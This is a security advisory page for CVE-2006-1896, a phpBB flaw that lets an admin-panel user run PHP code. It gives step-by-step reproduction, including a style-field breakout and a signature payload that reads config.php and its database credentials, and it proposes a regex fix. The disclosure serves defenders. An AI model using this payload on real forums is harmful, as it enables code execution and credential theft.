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Topic :

phpBB Admin command execution

SecurityAlert : 715

CVE : CVE-2006-1896

SecurityRisk : Low Security Risk Low

(About)

Remote Exploit : No

Local Exploit : Yes

Exploit Available : Yes

Credit : noch22 gmail com

Published : 15.04.2006

Affected Software :

phpBB

Advisory Content :

On a phpBB board, a user having access to the admin panel is able to
execute PHP code:

This example will execute $user_sig as PHP code:

Go to Administration Panel > Styles Admin > Management > subSilver > Edit
Set "Font Colour 3" to "'./*"
Profile
Set Signature to
"$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo
htmlspecialchars(fgets($fd));}"
Post a new message with content:
"*/var_dump(eval($user_sig)).flush().die().'" and attach your signature
Go to your message adding ?highlight=1 to URL
Your signature is executed as PHP code

Possible solution:

Replace $theme['fontcolor3']
By preg_replace('#[^a-f0-9]+#i','',$theme['fontcolor3']);
In viewtopic.php

Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.

	Alert
libc/fnmatch(3) DoS - 2011-05-13 Allow attacker to denial of service apache 2.2.17 server


	Apache
» Apache HTTP Server Denial of Service Vulnerability

» Multiple Vendors libc/fnmatch(3) DoS (incl apache poc)

» Apache Continuum cross-site scripting vulnerability

» Apache Tomcat DoS Vulnerability



	PHP
» PHP Hashtables Denial of Service

» PHP 5.3.6 multiple null pointer dereference

» PHP 5.3.6 ZipArchive invalid use glob(3)

» libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)



	ADT
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